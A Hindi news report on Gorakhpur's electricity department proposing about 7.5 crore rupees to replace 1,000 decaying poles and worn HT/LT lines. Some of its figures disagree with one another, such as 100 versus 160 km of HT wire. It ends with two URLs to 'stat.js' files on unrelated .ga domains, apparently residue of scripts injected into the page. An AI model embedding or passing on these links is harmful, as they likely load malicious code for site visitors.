गोरखपुर शहर की करीब 1.82 लाख बिजली उपभोक्ताओं को अब एचटी लाइन का फाल्ट अब नहीं परेशान करेगा। विभिन्न फीडर क्षेत्रों में 1000 जर्जर खंभों व 100 किलोमीटर जर्जर तारों को बदलने की कवायद बिजली विभाग ने शुरू कर दी है। पावर कॉरपोरेशन के निर्देश पर मुख्य अभियंता ने इन खंभों व तारों को बदलने के लिए करीबन साढ़े 7 करोड़ का प्रस्ताव भेजा है।

 

 

 

पावर कॉरपोरेशन के इस सिस्टम सुधार के तहत एचटी लाइट के 160 किलोमीटर जर्जर तार बदलने से शहर वासियों को बिजली के मामले में बड़ी राहत मिलेगी। क्योंकि इन तारों के टूटने से आए दिन शहरवासियों को बिजली की परेशानी उठानी पड़ती है। और घंटों बिजली की सुविधा से वंचित रहना पड़ता है। शहर के कई इलाकों में शाम को बिजली की खपत बढ़ने पर तार टूटने के मामले सामने आते हैं।

 

 

 

गोलघर इलाकों के पार्क रोड व सिविल लाइंस में आए दिन तार टूट कर गिरते रहते हैं। बिजली निगम ने इन इलाकों में अधिक क्षमता के तारों को लगाने का प्रस्ताव तैयार कर कॉरपोरेशन को भेजा है। अभियंताओं का कहना है कि इस प्रस्ताव पर वित्तीय स्वीकृति जल्दी ही मिलने वाली है। कई इलाकों में तार लटक के नीचे आ गए हैं इसलिए लड़के तारों को टाइट करने का अभियान शुरू करने जा रहे हैं।

 

 

 

क्योंकि इस कारण हमेशा दुर्घटना की आशंका बनी रहती है और कई इलाकों में ट्रक से लड़कर तार टूट भी जाते हैं। एलटी लाइन के करीब 60 किलोमीटर तक जर्जर है और एचटी लाइन की 100 किलोमीटर तारों की क्षमता बढ़ाने के प्रयास चल रहे हैं। 7.50 करोड़ से या उपकरण बदले जाएंगे। उपकरण संख्या लागत।

 

 

 

1000 जर्जर खंभे 1.50 करोड़, 100 किलोमीटर एचटी जर्जर तार1.20 करोड़, 60 किलोमीटर एलटी जर्जर तार 4.50 करोड़। कुल साढ़े सात करोड़ का स्टीमेट है। शहर की बिजली व्यवस्था को दुरुस्त करने का काम चल रहा है बिजली की अधिक खपत वाले इलाकों में ज्यादा छमता के तार लगाए जाएंगे। बहुत जल्द ही प्रस्ताव की स्वीकृति मिलने की उम्मीद है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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